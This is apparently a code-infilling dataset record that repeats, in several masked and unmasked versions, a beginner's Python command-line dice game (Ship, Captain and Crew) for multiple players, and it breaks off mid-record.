sum(roll2_scc) print('Total score: ' + str(total_scc_none) + '.') if inp_scc_none == 'neither': roll2_scc_none = random.choices(range(1, 7), k=2) total_scc_none2 = sum(roll2_scc_none) print(roll2_scc_none) print('Your total score is: ' + str(total_scc_none2 ) + '.') if inp_scc_none == 'one': inp_scc_none_one = input( 'Which die do you want to keep? ') roll1_scc_none_one = random.randint(1, 6) total_scc_none_one = roll1_scc_none_one + int( inp_scc_none_one) print(roll1_scc_none_one) print('Your total score is: ' + str( total_scc_none_one) + '.') if inp_scc == 'one': inp_scc_one = input('Which die do you want to keep? ') roll1_scc_one = random.randint(1, 6) print(roll1_scc_one) total_scc_one = roll1_scc_one + int(inp_scc_one) inp_scc_one2 = input( "Hit enter to roll again or type 'pass' to keep your score " ) if inp_scc_one2 == 'pass': print('Your total score is: ' + str(total_scc_one) + '.') if inp_scc_one2 == '': roll1_scc_one2 = random.randint(1, 6) print(roll1_scc_one2) total_scc_one2 = roll1_scc_one2 + int(inp_scc_one) print('Your total score is: ' + str(total_scc_one2) + '.') if set(sc).issubset(roll5): inp_sc = input( 'Now you need a 4(the Crew). Hit enter to roll the remaining dice' ) if inp_sc == '': roll3 = random.choices(range(1, 7), k=3) print(roll3) if set(crew).issubset(roll3): result_crew = [i for i in roll3 if not i in crew or crew.remove(i)] total_crew = sum(result_crew) inp_crew = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_crew == 'both': print('Total score: ' + str(total_crew) + '.') if inp_crew == 'neither': roll2_crew = random.choices(range(1, 7), k=2) print(roll2_crew) total_crew_none = sum(roll2_crew) print('Your total score is: ' + str( total_crew_none) + '.') if inp_crew == 'one': inp_crew_one = input( 'Which die do you want to keep? ') roll1_crew_one = random.randint(1, 6) print(roll1_crew_one) total_crew_one = roll1_crew_one + int(inp_crew_one) print('Your total score is: ' + str( total_crew_one) + '.') else: inp_sc3 = input('Still no 4. Hit enter to roll again') if inp_sc3 == '': roll3_sc3 = random.choices(range(1, 7), k=3) print(roll3_sc3) if set(crew).issubset(roll3_sc3): result_crew_sc3 = [i for i in roll3_sc3 if not i in crew or crew.remove(i)] total_crew_sc3 = sum(result_crew_sc3) print('Your total score is: ' + str( total_crew_sc3) + '.') else: print( "Sorry, you get no points because the Ship, Captain, and Crew wasn't completed." ) if set(ship).issubset(roll5) and 5 not in roll5 and n < 2: inp_ship = input( 'Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice ' ) if inp_ship == '': roll4_ship = random.choices(range(1, 7), k=4) print(roll4_ship) if set(cc).issubset(roll4_ship): result_ship_cc = [i for i in roll4_ship if not i in cc or cc.remove(i)] total_ship_cc = sum(result_ship_cc) inp_ship_cc = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_ship_cc == 'both': print('Your total is: ' + str(total_ship_cc) + '.') if inp_ship_cc == 'neither': roll2_cc = random.choices(range(1, 7), k=2) print(roll2_cc) total_ship_cc_none = sum(roll2_cc) print('Your total score is: ' + str( total_ship_cc_none) + '.') if inp_ship_cc == 'one': inp_ship_cc_one = input( 'Which die do you want to keep? ') roll1_ship_cc_one = random.randint(1, 6) print(roll1_ship_cc_one) total_ship_cc_one = roll1_ship_cc_one + int( inp_ship_cc_one) print('Your total score is: ' + str( total_ship_cc_one) + '.') if set(captain).issubset(roll4_ship): roll3_captain = random.choices(range(1, 7), k=3) print(roll3_captain) if set(crew).issubset(roll3_captain): result_ship_captain = [i for i in roll3_captain if not i in crew or crew.remove(i)] total_ship_captain = sum(result_ship_captain) print('Your total score is: ' + str( total_ship_captain) + '.') else: print( "Sorry, you get no points because the Ship, Captain, and Crew wasn't completed." ) else: n = n + 1 <|reserved_special_token_0|> for i in players: multi() <|reserved_special_token_1|> <|reserved_special_token_0|> def multi(): scc = [6, 5, 4] sc = [6, 5] cc = [5, 4] crew = [4] captain = [5] ship = [6] n = 0 while n <= 2: inp = input('Hit enter to roll') if inp == '': roll5 = random.choices(range(1, 7), k=5) print(roll5) if set(scc).issubset(roll5): result_scc = [i for i in roll5 if not i in scc or scc.remove(i) ] total_scc = sum(result_scc) inp_scc = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_scc == 'both': print('Total score: ' + str(total_scc) + '.') if inp_scc == 'neither': roll2_scc = random.choices(range(1, 7), k=2) print(roll2_scc) inp_scc_none = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_scc_none == 'both': total_scc_none = sum(roll2_scc) print('Total score: ' + str(total_scc_none) + '.') if inp_scc_none == 'neither': roll2_scc_none = random.choices(range(1, 7), k=2) total_scc_none2 = sum(roll2_scc_none) print(roll2_scc_none) print('Your total score is: ' + str(total_scc_none2 ) + '.') if inp_scc_none == 'one': inp_scc_none_one = input( 'Which die do you want to keep? ') roll1_scc_none_one = random.randint(1, 6) total_scc_none_one = roll1_scc_none_one + int( inp_scc_none_one) print(roll1_scc_none_one) print('Your total score is: ' + str( total_scc_none_one) + '.') if inp_scc == 'one': inp_scc_one = input('Which die do you want to keep? ') roll1_scc_one = random.randint(1, 6) print(roll1_scc_one) total_scc_one = roll1_scc_one + int(inp_scc_one) inp_scc_one2 = input( "Hit enter to roll again or type 'pass' to keep your score " ) if inp_scc_one2 == 'pass': print('Your total score is: ' + str(total_scc_one) + '.') if inp_scc_one2 == '': roll1_scc_one2 = random.randint(1, 6) print(roll1_scc_one2) total_scc_one2 = roll1_scc_one2 + int(inp_scc_one) print('Your total score is: ' + str(total_scc_one2) + '.') if set(sc).issubset(roll5): inp_sc = input( 'Now you need a 4(the Crew). Hit enter to roll the remaining dice' ) if inp_sc == '': roll3 = random.choices(range(1, 7), k=3) print(roll3) if set(crew).issubset(roll3): result_crew = [i for i in roll3 if not i in crew or crew.remove(i)] total_crew = sum(result_crew) inp_crew = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_crew == 'both': print('Total score: ' + str(total_crew) + '.') if inp_crew == 'neither': roll2_crew = random.choices(range(1, 7), k=2) print(roll2_crew) total_crew_none = sum(roll2_crew) print('Your total score is: ' + str( total_crew_none) + '.') if inp_crew == 'one': inp_crew_one = input( 'Which die do you want to keep? ') roll1_crew_one = random.randint(1, 6) print(roll1_crew_one) total_crew_one = roll1_crew_one + int(inp_crew_one) print('Your total score is: ' + str( total_crew_one) + '.') else: inp_sc3 = input('Still no 4. Hit enter to roll again') if inp_sc3 == '': roll3_sc3 = random.choices(range(1, 7), k=3) print(roll3_sc3) if set(crew).issubset(roll3_sc3): result_crew_sc3 = [i for i in roll3_sc3 if not i in crew or crew.remove(i)] total_crew_sc3 = sum(result_crew_sc3) print('Your total score is: ' + str( total_crew_sc3) + '.') else: print( "Sorry, you get no points because the Ship, Captain, and Crew wasn't completed." ) if set(ship).issubset(roll5) and 5 not in roll5 and n < 2: inp_ship = input( 'Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice ' ) if inp_ship == '': roll4_ship = random.choices(range(1, 7), k=4) print(roll4_ship) if set(cc).issubset(roll4_ship): result_ship_cc = [i for i in roll4_ship if not i in cc or cc.remove(i)] total_ship_cc = sum(result_ship_cc) inp_ship_cc = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_ship_cc == 'both': print('Your total is: ' + str(total_ship_cc) + '.') if inp_ship_cc == 'neither': roll2_cc = random.choices(range(1, 7), k=2) print(roll2_cc) total_ship_cc_none = sum(roll2_cc) print('Your total score is: ' + str( total_ship_cc_none) + '.') if inp_ship_cc == 'one': inp_ship_cc_one = input( 'Which die do you want to keep? ') roll1_ship_cc_one = random.randint(1, 6) print(roll1_ship_cc_one) total_ship_cc_one = roll1_ship_cc_one + int( inp_ship_cc_one) print('Your total score is: ' + str( total_ship_cc_one) + '.') if set(captain).issubset(roll4_ship): roll3_captain = random.choices(range(1, 7), k=3) print(roll3_captain) if set(crew).issubset(roll3_captain): result_ship_captain = [i for i in roll3_captain if not i in crew or crew.remove(i)] total_ship_captain = sum(result_ship_captain) print('Your total score is: ' + str( total_ship_captain) + '.') else: print( "Sorry, you get no points because the Ship, Captain, and Crew wasn't completed." ) else: n = n + 1 inp = input('How many players are there? ') players = range(int(inp)) roll_dict = dict() for i in players: multi() <|reserved_special_token_1|> import random def multi(): scc = [6, 5, 4] sc = [6, 5] cc = [5, 4] crew = [4] captain = [5] ship = [6] n = 0 while n <= 2: inp = input('Hit enter to roll') if inp == '': roll5 = random.choices(range(1, 7), k=5) print(roll5) if set(scc).issubset(roll5): result_scc = [i for i in roll5 if not i in scc or scc.remove(i) ] total_scc = sum(result_scc) inp_scc = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_scc == 'both': print('Total score: ' + str(total_scc) + '.') if inp_scc == 'neither': roll2_scc = random.choices(range(1, 7), k=2) print(roll2_scc) inp_scc_none = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_scc_none == 'both': total_scc_none = sum(roll2_scc) print('Total score: ' + str(total_scc_none) + '.') if inp_scc_none == 'neither': roll2_scc_none = random.choices(range(1, 7), k=2) total_scc_none2 = sum(roll2_scc_none) print(roll2_scc_none) print('Your total score is: ' + str(total_scc_none2 ) + '.') if inp_scc_none == 'one': inp_scc_none_one = input( 'Which die do you want to keep? ') roll1_scc_none_one = random.randint(1, 6) total_scc_none_one = roll1_scc_none_one + int( inp_scc_none_one) print(roll1_scc_none_one) print('Your total score is: ' + str( total_scc_none_one) + '.') if inp_scc == 'one': inp_scc_one = input('Which die do you want to keep? ') roll1_scc_one = random.randint(1, 6) print(roll1_scc_one) total_scc_one = roll1_scc_one + int(inp_scc_one) inp_scc_one2 = input( "Hit enter to roll again or type 'pass' to keep your score " ) if inp_scc_one2 == 'pass': print('Your total score is: ' + str(total_scc_one) + '.') if inp_scc_one2 == '': roll1_scc_one2 = random.randint(1, 6) print(roll1_scc_one2) total_scc_one2 = roll1_scc_one2 + int(inp_scc_one) print('Your total score is: ' + str(total_scc_one2) + '.') if set(sc).issubset(roll5): inp_sc = input( 'Now you need a 4(the Crew). Hit enter to roll the remaining dice' ) if inp_sc == '': roll3 = random.choices(range(1, 7), k=3) print(roll3) if set(crew).issubset(roll3): result_crew = [i for i in roll3 if not i in crew or crew.remove(i)] total_crew = sum(result_crew) inp_crew = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_crew == 'both': print('Total score: ' + str(total_crew) + '.') if inp_crew == 'neither': roll2_crew = random.choices(range(1, 7), k=2) print(roll2_crew) total_crew_none = sum(roll2_crew) print('Your total score is: ' + str( total_crew_none) + '.') if inp_crew == 'one': inp_crew_one = input( 'Which die do you want to keep? ') roll1_crew_one = random.randint(1, 6) print(roll1_crew_one) total_crew_one = roll1_crew_one + int(inp_crew_one) print('Your total score is: ' + str( total_crew_one) + '.') else: inp_sc3 = input('Still no 4. Hit enter to roll again') if inp_sc3 == '': roll3_sc3 = random.choices(range(1, 7), k=3) print(roll3_sc3) if set(crew).issubset(roll3_sc3): result_crew_sc3 = [i for i in roll3_sc3 if not i in crew or crew.remove(i)] total_crew_sc3 = sum(result_crew_sc3) print('Your total score is: ' + str( total_crew_sc3) + '.') else: print( "Sorry, you get no points because the Ship, Captain, and Crew wasn't completed." ) if set(ship).issubset(roll5) and 5 not in roll5 and n < 2: inp_ship = input( 'Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice ' ) if inp_ship == '': roll4_ship = random.choices(range(1, 7), k=4) print(roll4_ship) if set(cc).issubset(roll4_ship): result_ship_cc = [i for i in roll4_ship if not i in cc or cc.remove(i)] total_ship_cc = sum(result_ship_cc) inp_ship_cc = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_ship_cc == 'both': print('Your total is: ' + str(total_ship_cc) + '.') if inp_ship_cc == 'neither': roll2_cc = random.choices(range(1, 7), k=2) print(roll2_cc) total_ship_cc_none = sum(roll2_cc) print('Your total score is: ' + str( total_ship_cc_none) + '.') if inp_ship_cc == 'one': inp_ship_cc_one = input( 'Which die do you want to keep? ') roll1_ship_cc_one = random.randint(1, 6) print(roll1_ship_cc_one) total_ship_cc_one = roll1_ship_cc_one + int( inp_ship_cc_one) print('Your total score is: ' + str( total_ship_cc_one) + '.') if set(captain).issubset(roll4_ship): roll3_captain = random.choices(range(1, 7), k=3) print(roll3_captain) if set(crew).issubset(roll3_captain): result_ship_captain = [i for i in roll3_captain if not i in crew or crew.remove(i)] total_ship_captain = sum(result_ship_captain) print('Your total score is: ' + str( total_ship_captain) + '.') else: print( "Sorry, you get no points because the Ship, Captain, and Crew wasn't completed." ) else: n = n + 1 inp = input('How many players are there? ') players = range(int(inp)) roll_dict = dict() for i in players: multi() <|reserved_special_token_1|> import random def multi(): scc = [6, 5, 4] sc = [6, 5] cc = [5, 4] crew = [4] captain = [5] ship = [6] n = 0 while n <= 2: inp = input("Hit enter to roll") if inp == "": roll5 = random.choices(range(1, 7), k=5) print(roll5) if set(scc).issubset(roll5): result_scc = [i for i in roll5 if not i in scc or scc.remove(i)] total_scc = sum(result_scc) inp_scc = input("Do you wish to keep one, both, or neither of the remaining dice? ") if inp_scc == "both": print("Total score: " + str(total_scc) + ".") if inp_scc == "neither": roll2_scc = random.choices(range(1, 7), k=2) print(roll2_scc) inp_scc_none = input("Do you wish to keep one, both, or neither of the remaining dice? ") if inp_scc_none == "both": total_scc_none = sum(roll2_scc) print("Total score: " + str(total_scc_none) + ".") if inp_scc_none == "neither": roll2_scc_none = random.choices(range(1, 7), k=2) total_scc_none2 = sum(roll2_scc_none) print(roll2_scc_none) print("Your total score is: " + str(total_scc_none2) + ".") if inp_scc_none == "one": inp_scc_none_one = input("Which die do you want to keep? ") roll1_scc_none_one = random.randint(1, 6) total_scc_none_one = roll1_scc_none_one + int(inp_scc_none_one) print(roll1_scc_none_one) print("Your total score is: " + str(total_scc_none_one) + ".") if inp_scc == "one": inp_scc_one = input("Which die do you want to keep? ") roll1_scc_one = random.randint(1, 6) print(roll1_scc_one) total_scc_one = roll1_scc_one + int(inp_scc_one) inp_scc_one2 = input("Hit enter to roll again or type 'pass' to keep your score ") if inp_scc_one2 == "pass": print("Your total score is: " + str(total_scc_one) + ".") if inp_scc_one2 == "": roll1_scc_one2 = random.randint(1, 6) print(roll1_scc_one2) total_scc_one2 = roll1_scc_one2 + int(inp_scc_one) print("Your total score is: " + str(total_scc_one2) + ".") if set(sc).issubset(roll5): inp_sc = input("Now you need a 4(the Crew). Hit enter to roll the remaining dice") if inp_sc == "": roll3 = random.choices(range(1, 7), k=3) print(roll3) if set(crew).issubset(roll3): result_crew = [i for i in roll3 if not i in crew or crew.remove(i)] total_crew = sum(result_crew) inp_crew = input("Do you wish to keep one, both, or neither of the remaining dice? ") if inp_crew == "both": print("Total score: " + str(total_crew) + ".") if inp_crew == "neither": roll2_crew = random.choices(range(1, 7), k=2) print(roll2_crew) total_crew_none = sum(roll2_crew) print("Your total score is: " + str(total_crew_none) + ".") if inp_crew == "one": inp_crew_one = input("Which die do you want to keep? ") roll1_crew_one = random.randint(1, 6) print(roll1_crew_one) total_crew_one = roll1_crew_one + int(inp_crew_one) print("Your total score is: " + str(total_crew_one) + ".") else: inp_sc3 = input("Still no 4. Hit enter to roll again") if inp_sc3 == "": roll3_sc3 = random.choices(range(1, 7), k=3) print(roll3_sc3) if set(crew).issubset(roll3_sc3): result_crew_sc3 = [i for i in roll3_sc3 if not i in crew or crew.remove(i)] total_crew_sc3 = sum(result_crew_sc3) print("Your total score is: " + str(total_crew_sc3) + ".") else: print("Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.") if set(ship).issubset(roll5) and 5 not in roll5 and n < 2: inp_ship = input( "Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice ") if inp_ship == "": roll4_ship = random.choices(range(1, 7), k=4) print(roll4_ship) if set(cc).issubset(roll4_ship): result_ship_cc = [i for i in roll4_ship if not i in cc or cc.remove(i)] total_ship_cc = sum(result_ship_cc) inp_ship_cc = input("Do you wish to keep one, both, or neither of the remaining dice? ") if inp_ship_cc == "both": print("Your total is: " + str(total_ship_cc) + ".") if inp_ship_cc == "neither": roll2_cc = random.choices(range(1, 7), k=2) print(roll2_cc) total_ship_cc_none = sum(roll2_cc) print("Your total score is: " + str(total_ship_cc_none) + ".") if inp_ship_cc == "one": inp_ship_cc_one = input("Which die do you want to keep? ") roll1_ship_cc_one = random.randint(1, 6) print(roll1_ship_cc_one) total_ship_cc_one = roll1_ship_cc_one + int(inp_ship_cc_one) print("Your total score is: " + str(total_ship_cc_one) + ".") if set(captain).issubset(roll4_ship): roll3_captain = random.choices(range(1, 7), k=3) print(roll3_captain) if set(crew).issubset(roll3_captain): result_ship_captain = [i for i in roll3_captain if not i in crew or crew.remove(i)] total_ship_captain = sum(result_ship_captain) print("Your total score is: " + str(total_ship_captain) + ".") else: print("Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.") else: n = n + 1 inp = input("How many players are there? ") players = range(int(inp)) roll_dict = dict() for i in players: multi()

flexible

{ "blob_id": "bb540ba4cd96e2485e77ba099f0a1a9ea03e1120", "index": 8144, "step-1": "<mask token>\n\n\ndef multi():\n scc = [6, 5, 4]\n sc = [6, 5]\n cc = [5, 4]\n crew = [4]\n captain = [5]\n ship = [6]\n n = 0\n while n <= 2:\n inp = input('Hit enter to roll')\n if inp == '':\n roll5 = random.choices(range(1, 7), k=5)\n print(roll5)\n if set(scc).issubset(roll5):\n result_scc = [i for i in roll5 if not i in scc or scc.remove(i)\n ]\n total_scc = sum(result_scc)\n inp_scc = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_scc == 'both':\n print('Total score: ' + str(total_scc) + '.')\n if inp_scc == 'neither':\n roll2_scc = random.choices(range(1, 7), k=2)\n print(roll2_scc)\n inp_scc_none = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_scc_none == 'both':\n total_scc_none = sum(roll2_scc)\n print('Total score: ' + str(total_scc_none) + '.')\n if inp_scc_none == 'neither':\n roll2_scc_none = random.choices(range(1, 7), k=2)\n total_scc_none2 = sum(roll2_scc_none)\n print(roll2_scc_none)\n print('Your total score is: ' + str(total_scc_none2\n ) + '.')\n if inp_scc_none == 'one':\n inp_scc_none_one = input(\n 'Which die do you want to keep? ')\n roll1_scc_none_one = random.randint(1, 6)\n total_scc_none_one = roll1_scc_none_one + int(\n inp_scc_none_one)\n print(roll1_scc_none_one)\n print('Your total score is: ' + str(\n total_scc_none_one) + '.')\n if inp_scc == 'one':\n inp_scc_one = input('Which die do you want to keep? ')\n roll1_scc_one = random.randint(1, 6)\n print(roll1_scc_one)\n total_scc_one = roll1_scc_one + int(inp_scc_one)\n inp_scc_one2 = input(\n \"Hit enter to roll again or type 'pass' to keep your score \"\n )\n if inp_scc_one2 == 'pass':\n print('Your total score is: ' + str(total_scc_one) +\n '.')\n if inp_scc_one2 == '':\n roll1_scc_one2 = random.randint(1, 6)\n print(roll1_scc_one2)\n total_scc_one2 = roll1_scc_one2 + int(inp_scc_one)\n print('Your total score is: ' + str(total_scc_one2) +\n '.')\n if set(sc).issubset(roll5):\n inp_sc = input(\n 'Now you need a 4(the Crew). Hit enter to roll the remaining dice'\n )\n if inp_sc == '':\n roll3 = random.choices(range(1, 7), k=3)\n print(roll3)\n if set(crew).issubset(roll3):\n result_crew = [i for i in roll3 if not i in crew or\n crew.remove(i)]\n total_crew = sum(result_crew)\n inp_crew = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_crew == 'both':\n print('Total score: ' + str(total_crew) + '.')\n if inp_crew == 'neither':\n roll2_crew = random.choices(range(1, 7), k=2)\n print(roll2_crew)\n total_crew_none = sum(roll2_crew)\n print('Your total score is: ' + str(\n total_crew_none) + '.')\n if inp_crew == 'one':\n inp_crew_one = input(\n 'Which die do you want to keep? ')\n roll1_crew_one = random.randint(1, 6)\n print(roll1_crew_one)\n total_crew_one = roll1_crew_one + int(inp_crew_one)\n print('Your total score is: ' + str(\n total_crew_one) + '.')\n else:\n inp_sc3 = input('Still no 4. Hit enter to roll again')\n if inp_sc3 == '':\n roll3_sc3 = random.choices(range(1, 7), k=3)\n print(roll3_sc3)\n if set(crew).issubset(roll3_sc3):\n result_crew_sc3 = [i for i in roll3_sc3 if \n not i in crew or crew.remove(i)]\n total_crew_sc3 = sum(result_crew_sc3)\n print('Your total score is: ' + str(\n total_crew_sc3) + '.')\n else:\n print(\n \"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\"\n )\n if set(ship).issubset(roll5) and 5 not in roll5 and n < 2:\n inp_ship = input(\n 'Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice '\n )\n if inp_ship == '':\n roll4_ship = random.choices(range(1, 7), k=4)\n print(roll4_ship)\n if set(cc).issubset(roll4_ship):\n result_ship_cc = [i for i in roll4_ship if not i in\n cc or cc.remove(i)]\n total_ship_cc = sum(result_ship_cc)\n inp_ship_cc = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_ship_cc == 'both':\n print('Your total is: ' + str(total_ship_cc) + '.')\n if inp_ship_cc == 'neither':\n roll2_cc = random.choices(range(1, 7), k=2)\n print(roll2_cc)\n total_ship_cc_none = sum(roll2_cc)\n print('Your total score is: ' + str(\n total_ship_cc_none) + '.')\n if inp_ship_cc == 'one':\n inp_ship_cc_one = input(\n 'Which die do you want to keep? ')\n roll1_ship_cc_one = random.randint(1, 6)\n print(roll1_ship_cc_one)\n total_ship_cc_one = roll1_ship_cc_one + int(\n inp_ship_cc_one)\n print('Your total score is: ' + str(\n total_ship_cc_one) + '.')\n if set(captain).issubset(roll4_ship):\n roll3_captain = random.choices(range(1, 7), k=3)\n print(roll3_captain)\n if set(crew).issubset(roll3_captain):\n result_ship_captain = [i for i in roll3_captain if\n not i in crew or crew.remove(i)]\n total_ship_captain = sum(result_ship_captain)\n print('Your total score is: ' + str(\n total_ship_captain) + '.')\n else:\n print(\n \"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\"\n )\n else:\n n = n + 1\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef multi():\n scc = [6, 5, 4]\n sc = [6, 5]\n cc = [5, 4]\n crew = [4]\n captain = [5]\n ship = [6]\n n = 0\n while n <= 2:\n inp = input('Hit enter to roll')\n if inp == '':\n roll5 = random.choices(range(1, 7), k=5)\n print(roll5)\n if set(scc).issubset(roll5):\n result_scc = [i for i in roll5 if not i in scc or scc.remove(i)\n ]\n total_scc = sum(result_scc)\n inp_scc = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_scc == 'both':\n print('Total score: ' + str(total_scc) + '.')\n if inp_scc == 'neither':\n roll2_scc = random.choices(range(1, 7), k=2)\n print(roll2_scc)\n inp_scc_none = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_scc_none == 'both':\n total_scc_none = sum(roll2_scc)\n print('Total score: ' + str(total_scc_none) + '.')\n if inp_scc_none == 'neither':\n roll2_scc_none = random.choices(range(1, 7), k=2)\n total_scc_none2 = sum(roll2_scc_none)\n print(roll2_scc_none)\n print('Your total score is: ' + str(total_scc_none2\n ) + '.')\n if inp_scc_none == 'one':\n inp_scc_none_one = input(\n 'Which die do you want to keep? ')\n roll1_scc_none_one = random.randint(1, 6)\n total_scc_none_one = roll1_scc_none_one + int(\n inp_scc_none_one)\n print(roll1_scc_none_one)\n print('Your total score is: ' + str(\n total_scc_none_one) + '.')\n if inp_scc == 'one':\n inp_scc_one = input('Which die do you want to keep? ')\n roll1_scc_one = random.randint(1, 6)\n print(roll1_scc_one)\n total_scc_one = roll1_scc_one + int(inp_scc_one)\n inp_scc_one2 = input(\n \"Hit enter to roll again or type 'pass' to keep your score \"\n )\n if inp_scc_one2 == 'pass':\n print('Your total score is: ' + str(total_scc_one) +\n '.')\n if inp_scc_one2 == '':\n roll1_scc_one2 = random.randint(1, 6)\n print(roll1_scc_one2)\n total_scc_one2 = roll1_scc_one2 + int(inp_scc_one)\n print('Your total score is: ' + str(total_scc_one2) +\n '.')\n if set(sc).issubset(roll5):\n inp_sc = input(\n 'Now you need a 4(the Crew). Hit enter to roll the remaining dice'\n )\n if inp_sc == '':\n roll3 = random.choices(range(1, 7), k=3)\n print(roll3)\n if set(crew).issubset(roll3):\n result_crew = [i for i in roll3 if not i in crew or\n crew.remove(i)]\n total_crew = sum(result_crew)\n inp_crew = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_crew == 'both':\n print('Total score: ' + str(total_crew) + '.')\n if inp_crew == 'neither':\n roll2_crew = random.choices(range(1, 7), k=2)\n print(roll2_crew)\n total_crew_none = sum(roll2_crew)\n print('Your total score is: ' + str(\n total_crew_none) + '.')\n if inp_crew == 'one':\n inp_crew_one = input(\n 'Which die do you want to keep? ')\n roll1_crew_one = random.randint(1, 6)\n print(roll1_crew_one)\n total_crew_one = roll1_crew_one + int(inp_crew_one)\n print('Your total score is: ' + str(\n total_crew_one) + '.')\n else:\n inp_sc3 = input('Still no 4. Hit enter to roll again')\n if inp_sc3 == '':\n roll3_sc3 = random.choices(range(1, 7), k=3)\n print(roll3_sc3)\n if set(crew).issubset(roll3_sc3):\n result_crew_sc3 = [i for i in roll3_sc3 if \n not i in crew or crew.remove(i)]\n total_crew_sc3 = sum(result_crew_sc3)\n print('Your total score is: ' + str(\n total_crew_sc3) + '.')\n else:\n print(\n \"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\"\n )\n if set(ship).issubset(roll5) and 5 not in roll5 and n < 2:\n inp_ship = input(\n 'Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice '\n )\n if inp_ship == '':\n roll4_ship = random.choices(range(1, 7), k=4)\n print(roll4_ship)\n if set(cc).issubset(roll4_ship):\n result_ship_cc = [i for i in roll4_ship if not i in\n cc or cc.remove(i)]\n total_ship_cc = sum(result_ship_cc)\n inp_ship_cc = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_ship_cc == 'both':\n print('Your total is: ' + str(total_ship_cc) + '.')\n if inp_ship_cc == 'neither':\n roll2_cc = random.choices(range(1, 7), k=2)\n print(roll2_cc)\n total_ship_cc_none = sum(roll2_cc)\n print('Your total score is: ' + str(\n total_ship_cc_none) + '.')\n if inp_ship_cc == 'one':\n inp_ship_cc_one = input(\n 'Which die do you want to keep? ')\n roll1_ship_cc_one = random.randint(1, 6)\n print(roll1_ship_cc_one)\n total_ship_cc_one = roll1_ship_cc_one + int(\n inp_ship_cc_one)\n print('Your total score is: ' + str(\n total_ship_cc_one) + '.')\n if set(captain).issubset(roll4_ship):\n roll3_captain = random.choices(range(1, 7), k=3)\n print(roll3_captain)\n if set(crew).issubset(roll3_captain):\n result_ship_captain = [i for i in roll3_captain if\n not i in crew or crew.remove(i)]\n total_ship_captain = sum(result_ship_captain)\n print('Your total score is: ' + str(\n total_ship_captain) + '.')\n else:\n print(\n \"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\"\n )\n else:\n n = n + 1\n\n\n<mask token>\nfor i in players:\n multi()\n", "step-3": "<mask token>\n\n\ndef multi():\n scc = [6, 5, 4]\n sc = [6, 5]\n cc = [5, 4]\n crew = [4]\n captain = [5]\n ship = [6]\n n = 0\n while n <= 2:\n inp = input('Hit enter to roll')\n if inp == '':\n roll5 = random.choices(range(1, 7), k=5)\n print(roll5)\n if set(scc).issubset(roll5):\n result_scc = [i for i in roll5 if not i in scc or scc.remove(i)\n ]\n total_scc = sum(result_scc)\n inp_scc = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_scc == 'both':\n print('Total score: ' + str(total_scc) + '.')\n if inp_scc == 'neither':\n roll2_scc = random.choices(range(1, 7), k=2)\n print(roll2_scc)\n inp_scc_none = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_scc_none == 'both':\n total_scc_none = sum(roll2_scc)\n print('Total score: ' + str(total_scc_none) + '.')\n if inp_scc_none == 'neither':\n roll2_scc_none = random.choices(range(1, 7), k=2)\n total_scc_none2 = sum(roll2_scc_none)\n print(roll2_scc_none)\n print('Your total score is: ' + str(total_scc_none2\n ) + '.')\n if inp_scc_none == 'one':\n inp_scc_none_one = input(\n 'Which die do you want to keep? ')\n roll1_scc_none_one = random.randint(1, 6)\n total_scc_none_one = roll1_scc_none_one + int(\n inp_scc_none_one)\n print(roll1_scc_none_one)\n print('Your total score is: ' + str(\n total_scc_none_one) + '.')\n if inp_scc == 'one':\n inp_scc_one = input('Which die do you want to keep? ')\n roll1_scc_one = random.randint(1, 6)\n print(roll1_scc_one)\n total_scc_one = roll1_scc_one + int(inp_scc_one)\n inp_scc_one2 = input(\n \"Hit enter to roll again or type 'pass' to keep your score \"\n )\n if inp_scc_one2 == 'pass':\n print('Your total score is: ' + str(total_scc_one) +\n '.')\n if inp_scc_one2 == '':\n roll1_scc_one2 = random.randint(1, 6)\n print(roll1_scc_one2)\n total_scc_one2 = roll1_scc_one2 + int(inp_scc_one)\n print('Your total score is: ' + str(total_scc_one2) +\n '.')\n if set(sc).issubset(roll5):\n inp_sc = input(\n 'Now you need a 4(the Crew). Hit enter to roll the remaining dice'\n )\n if inp_sc == '':\n roll3 = random.choices(range(1, 7), k=3)\n print(roll3)\n if set(crew).issubset(roll3):\n result_crew = [i for i in roll3 if not i in crew or\n crew.remove(i)]\n total_crew = sum(result_crew)\n inp_crew = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_crew == 'both':\n print('Total score: ' + str(total_crew) + '.')\n if inp_crew == 'neither':\n roll2_crew = random.choices(range(1, 7), k=2)\n print(roll2_crew)\n total_crew_none = 